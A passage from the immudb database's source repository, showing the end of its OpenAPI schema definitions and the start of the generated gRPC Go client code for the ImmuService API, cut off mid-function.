"byte" }, "signature": { "type": "string", "format": "byte" } } }, "schemaTable": { "type": "object", "properties": { "tableName": { "type": "string", "title": "Table name" } } }, "schemaTruncateDatabaseRequest": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "retentionPeriod": { "type": "string", "format": "int64", "title": "Retention Period of data" } } }, "schemaTruncateDatabaseResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaTruncationNullableSettings": { "type": "object", "properties": { "retentionPeriod": { "$ref": "#/definitions/schemaNullableMilliseconds", "title": "Retention Period for data in the database" }, "truncationFrequency": { "$ref": "#/definitions/schemaNullableMilliseconds", "title": "Truncation Frequency for the database" } } }, "schemaTx": { "type": "object", "properties": { "header": { "$ref": "#/definitions/schemaTxHeader", "title": "Transaction header" }, "entries": { "type": "array", "items": { "$ref": "#/definitions/schemaTxEntry" }, "title": "Raw entry values" }, "kvEntries": { "type": "array", "items": { "$ref": "#/definitions/schemaEntry" }, "title": "KV entries in the transaction (parsed)" }, "zEntries": { "type": "array", "items": { "$ref": "#/definitions/schemaZEntry" }, "title": "Sorted Set entries in the transaction (parsed)" } } }, "schemaTxEntry": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "Raw key value (contains 1-byte prefix for kind of the key)" }, "hValue": { "type": "string", "format": "byte", "title": "Value hash" }, "vLen": { "type": "integer", "format": "int32", "title": "Value length" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Entry metadata" }, "value": { "type": "string", "format": "byte", "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." } } }, "schemaTxHeader": { "type": "object", "properties": { "id": { "type": "string", "format": "uint64", "title": "Transaction ID" }, "prevAlh": { "type": "string", "format": "byte", "title": "State value (Accumulative Hash - Alh) of the previous transaction" }, "ts": { "type": "string", "format": "int64", "title": "Unix timestamp of the transaction (in seconds)" }, "nentries": { "type": "integer", "format": "int32", "title": "Number of entries in a transaction" }, "eH": { "type": "string", "format": "byte", "title": "Entries Hash - cumulative hash of all entries in the transaction" }, "blTxId": { "type": "string", "format": "uint64", "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" }, "blRoot": { "type": "string", "format": "byte", "title": "Binary linking tree root (Root hash of the Merkle Tree)" }, "version": { "type": "integer", "format": "int32", "title": "Header version" }, "metadata": { "$ref": "#/definitions/schemaTxMetadata", "title": "Transaction metadata" } } }, "schemaTxList": { "type": "object", "properties": { "txs": { "type": "array", "items": { "$ref": "#/definitions/schemaTx" }, "title": "List of transactions" } } }, "schemaTxMetadata": { "type": "object", "properties": { "truncatedTxID": { "type": "string", "format": "uint64", "title": "Entry expiration information" }, "extra": { "type": "string", "format": "byte", "title": "Extra data" } }, "title": "TxMetadata contains metadata set to whole transaction" }, "schemaTxMode": { "type": "string", "enum": [ "ReadOnly", "WriteOnly", "ReadWrite" ], "default": "ReadOnly", "title": "- ReadOnly: Read-only transaction\n - WriteOnly: Write-only transaction\n - ReadWrite: Read-write transaction" }, "schemaTxScanRequest": { "type": "object", "properties": { "initialTx": { "type": "string", "format": "uint64", "title": "ID of the transaction where scanning should start" }, "limit": { "type": "integer", "format": "int64", "title": "Maximum number of transactions to scan, when not specified the default limit is used" }, "desc": { "type": "boolean", "title": "If set to true, scan transactions in descending order" }, "entriesSpec": { "$ref": "#/definitions/schemaEntriesSpec", "title": "Specification of how to parse entries" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If \u003e 0, do not wait for the indexer to index all entries, only require\nentries up to sinceTx to be indexed, will affect resolving references" }, "noWait": { "type": "boolean", "title": "Deprecated: If set to true, do not wait for the indexer to be up to date" } } }, "schemaUnloadDatabaseRequest": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaUnloadDatabaseResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaUpdateDatabaseRequest": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Updated settings" } } }, "schemaUpdateDatabaseResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Current database settings" } }, "title": "Reserved to reply with more advanced response later" }, "schemaUseDatabaseReply": { "type": "object", "properties": { "token": { "type": "string", "title": "Deprecated: database access token" } } }, "schemaUser": { "type": "object", "properties": { "user": { "type": "string", "format": "byte", "title": "Username" }, "permissions": { "type": "array", "items": { "$ref": "#/definitions/schemaPermission" }, "title": "List of permissions for the user" }, "createdby": { "type": "string", "title": "Name of the creator user" }, "createdat": { "type": "string", "title": "Time when the user was created" }, "active": { "type": "boolean", "title": "Flag indicating whether the user is active or not" }, "sqlPrivileges": { "type": "array", "items": { "$ref": "#/definitions/schemaSQLPrivilege" }, "title": "List of SQL privileges" } } }, "schemaUserList": { "type": "object", "properties": { "users": { "type": "array", "items": { "$ref": "#/definitions/schemaUser" }, "title": "List of users" } } }, "schemaVerifiableEntry": { "type": "object", "properties": { "entry": { "$ref": "#/definitions/schemaEntry", "title": "Entry to verify" }, "verifiableTx": { "$ref": "#/definitions/schemaVerifiableTx", "title": "Transaction to verify" }, "inclusionProof": { "$ref": "#/definitions/schemaInclusionProof", "title": "Proof for inclusion of the entry within the transaction" } } }, "schemaVerifiableGetRequest": { "type": "object", "properties": { "keyRequest": { "$ref": "#/definitions/schemaKeyRequest", "title": "Key to read" }, "proveSinceTx": { "type": "string", "format": "uint64", "title": "When generating the proof, generate consistency proof with state from this transaction" } } }, "schemaVerifiableReferenceRequest": { "type": "object", "properties": { "referenceRequest": { "$ref": "#/definitions/schemaReferenceRequest", "title": "Reference data" }, "proveSinceTx": { "type": "string", "format": "uint64", "title": "When generating the proof, generate consistency proof with state from this\ntransaction" } } }, "schemaVerifiableSQLEntry": { "type": "object", "properties": { "sqlEntry": { "$ref": "#/definitions/schemaSQLEntry", "title": "Raw row entry data" }, "verifiableTx": { "$ref": "#/definitions/schemaVerifiableTx", "title": "Verifiable transaction of the row" }, "inclusionProof": { "$ref": "#/definitions/schemaInclusionProof", "title": "Inclusion proof of the row in the transaction" }, "DatabaseId": { "type": "integer", "format": "int64", "title": "Internal ID of the database (used to validate raw entry values)" }, "TableId": { "type": "integer", "format": "int64", "title": "Internal ID of the table (used to validate raw entry values)" }, "PKIDs": { "type": "array", "items": { "type": "integer", "format": "int64" }, "title": "Internal IDs of columns for the primary key (used to validate raw entry values)" }, "ColNamesById": { "type": "object", "additionalProperties": { "type": "string" }, "title": "Mapping of used column IDs to their names" }, "ColIdsByName": { "type": "object", "additionalProperties": { "type": "integer", "format": "int64" }, "title": "Mapping of column names to their IDS" }, "ColTypesById": { "type": "object", "additionalProperties": { "type": "string" }, "title": "Mapping of column IDs to their types" }, "ColLenById": { "type": "object", "additionalProperties": { "type": "integer", "format": "int32" }, "title": "Mapping of column IDs to their length constraints" }, "MaxColId": { "type": "integer", "format": "int64", "title": "Variable is used to assign unique ids to new columns as they are created" } } }, "schemaVerifiableSQLGetRequest": { "type": "object", "properties": { "sqlGetRequest": { "$ref": "#/definitions/schemaSQLGetRequest", "title": "Data of row to query" }, "proveSinceTx": { "type": "string", "format": "uint64", "title": "When generating the proof, generate consistency proof with state from this transaction" } } }, "schemaVerifiableSetRequest": { "type": "object", "properties": { "setRequest": { "$ref": "#/definitions/schemaSetRequest", "title": "Keys to set" }, "proveSinceTx": { "type": "string", "format": "uint64", "title": "When generating the proof, generate consistency proof with state from this transaction" } } }, "schemaVerifiableTx": { "type": "object", "properties": { "tx": { "$ref": "#/definitions/schemaTx", "title": "Transaction to verify" }, "dualProof": { "$ref": "#/definitions/schemaDualProof", "title": "Proof for the transaction" }, "signature": { "$ref": "#/definitions/schemaSignature", "title": "Signature for the new state value" } } }, "schemaVerifiableZAddRequest": { "type": "object", "properties": { "zAddRequest": { "$ref": "#/definitions/schemaZAddRequest", "title": "Data for new sorted set entry" }, "proveSinceTx": { "type": "string", "format": "uint64", "title": "When generating the proof, generate consistency proof with state from this transaction" } } }, "schemaZAddRequest": { "type": "object", "properties": { "set": { "type": "string", "format": "byte", "title": "Name of the sorted set" }, "score": { "type": "number", "format": "double", "title": "Score of the new entry" }, "key": { "type": "string", "format": "byte", "title": "Referenced key" }, "atTx": { "type": "string", "format": "uint64", "title": "If boundRef == true, id of the transaction to bind with the reference" }, "boundRef": { "type": "boolean", "title": "If true, bind the reference to particular transaction, if false, use the\nmost recent value of the key" }, "noWait": { "type": "boolean", "title": "If true, do not wait for the indexer to index this write operation" } } }, "schemaZEntries": { "type": "object", "properties": { "entries": { "type": "array", "items": { "$ref": "#/definitions/schemaZEntry" } } } }, "schemaZEntry": { "type": "object", "properties": { "set": { "type": "string", "format": "byte", "title": "Name of the sorted set" }, "key": { "type": "string", "format": "byte", "title": "Referenced key" }, "entry": { "$ref": "#/definitions/schemaEntry", "title": "Referenced entry" }, "score": { "type": "number", "format": "double", "title": "Sorted set element's score" }, "atTx": { "type": "string", "format": "uint64", "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" } } }, "schemaZScanRequest": { "type": "object", "properties": { "set": { "type": "string", "format": "byte", "title": "Name of the sorted set" }, "seekKey": { "type": "string", "format": "byte", "title": "Key to continue the search at" }, "seekScore": { "type": "number", "format": "double", "title": "Score of the entry to continue the search at" }, "seekAtTx": { "type": "string", "format": "uint64", "title": "AtTx of the entry to continue the search at" }, "inclusiveSeek": { "type": "boolean", "title": "If true, include the entry given with the `seekXXX` attributes, if false,\nskip the entry and start after that one" }, "limit": { "type": "string", "format": "uint64", "title": "Maximum number of entries to return, if 0, the default limit will be used" }, "desc": { "type": "boolean", "title": "If true, scan entries in descending order" }, "minScore": { "$ref": "#/definitions/schemaScore", "title": "Minimum score of entries to scan" }, "maxScore": { "$ref": "#/definitions/schemaScore", "title": "Maximum score of entries to scan" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If \u003e 0, do not wait for the indexer to index all entries, only require\nentries up to sinceTx to be indexed" }, "noWait": { "type": "boolean", "title": "Deprecated: If set to true, do not wait for the indexer to be up to date" }, "offset": { "type": "string", "format": "uint64", "title": "Specify the index of initial entry to be returned by excluding the initial\nset of entries (alternative to seekXXX attributes)" } } } }, "securityDefinitions": { "bearer": { "type": "apiKey", "description": "Authentication token, prefixed by Bearer: Bearer \u003ctoken\u003e", "name": "Authorization", "in": "header" } }, "security": [ { "bearer": [] } ] } ================================================ FILE: pkg/api/schema/schema_grpc.pb.go ================================================ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. package schema import ( context "context" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" emptypb "google.golang.org/protobuf/types/known/emptypb" ) // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 // ImmuServiceClient is the client API for ImmuService service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type ImmuServiceClient interface { ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) ChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error) // Deprecated: Do not use. Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) // Deprecated: Do not use. Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) VerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (*VerifiableEntry, error) Delete(ctx context.Context, in *DeleteKeysRequest, opts ...grpc.CallOption) (*TxHeader, error) GetAll(ctx context.Context, in *KeyListRequest, opts ...grpc.CallOption) (*Entries, error) ExecAll(ctx context.Context, in *ExecAllRequest, opts ...grpc.CallOption) (*TxHeader, error) Scan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (*Entries, error) // NOT YET SUPPORTED Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) // NOT YET SUPPORTED CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) History(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (*Entries, error) // ServerInfo returns information about the server instance. // ServerInfoRequest is defined for future extensions. ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableZAdd(ctx context.Context, in *VerifiableZAddRequest, opts ...grpc.CallOption) (*VerifiableTx, error) ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) // Streams StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) StreamVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (ImmuService_StreamVerifiableGetClient, error) StreamVerifiableSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamVerifiableSetClient, error) StreamScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (ImmuService_StreamScanClient, error) StreamZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (ImmuService_StreamZScanClient, error) StreamHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (ImmuService_StreamHistoryClient, error) StreamExecAll(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExecAllClient, error) // Replication ExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error) ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) // For backward compatibility with the grpc-gateway API UnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) } type immuServiceClient struct { cc grpc.ClientConnInterface } func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { return &immuServiceClient{cc} } func (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) { out := new(UserList) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListUsers", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateUser", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePassword", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePermission", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error) { out := new(ChangeSQLPrivilegesResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangeSQLPrivileges", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetActiveUser", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateAuthConfig", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateMTLSConfig", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) { out := new(OpenSessionResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/OpenSession", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CloseSession", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/KeepAlive", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) { out := new(NewTxResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/NewTx", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { out := new(CommittedSQLTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Commit", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Rollback", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxSQLExec", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[0], "/immudb.schema.ImmuService/TxSQLQuery", opts...) if err != nil { return nil, err } x := &immuServiceTxSQLQueryClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_TxSQLQueryClient interface { Recv() (*SQLQueryResult, error) grpc.ClientStream } type immuServiceTxSQLQueryClient struct { grpc.ClientStream } func (x *immuServiceTxSQLQueryClient) Recv() (*SQLQueryResult, error) { m := new(SQLQueryResult) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } // Deprecated: Do not use. func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) { out := new(LoginResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Login", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Logout", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) { out := new(TxHeader) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Set", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) { out := new(VerifiableTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableSet", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) { out := new(Entry) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Get", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (*VerifiableEntry, error) { out := new(VerifiableEntry) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableGet", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Delete(ctx context.Context, in *DeleteKeysRequest, opts ...grpc.CallOption) (*TxHeader, error) { out := new(TxHeader) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Delete", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) GetAll(ctx context.Context, in *KeyListRequest, opts ...grpc.CallOption) (*Entries, error) { out := new(Entries) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetAll", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ExecAll(ctx context.Context, in *ExecAllRequest, opts ...grpc.CallOption) (*TxHeader, error) { out := new(TxHeader) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ExecAll", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Scan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (*Entries, error) { out := new(Entries) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Scan", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) { out := new(EntryCount) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Count", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) { out := new(EntryCount) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CountAll", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) { out := new(Tx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxById", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) { out := new(VerifiableTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableTxById", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) { out := new(TxList) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxScan", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) History(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (*Entries, error) { out := new(Entries) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/History", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) { out := new(ServerInfoResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ServerInfo", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { out := new(HealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Health", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { out := new(DatabaseHealthResponse) err := 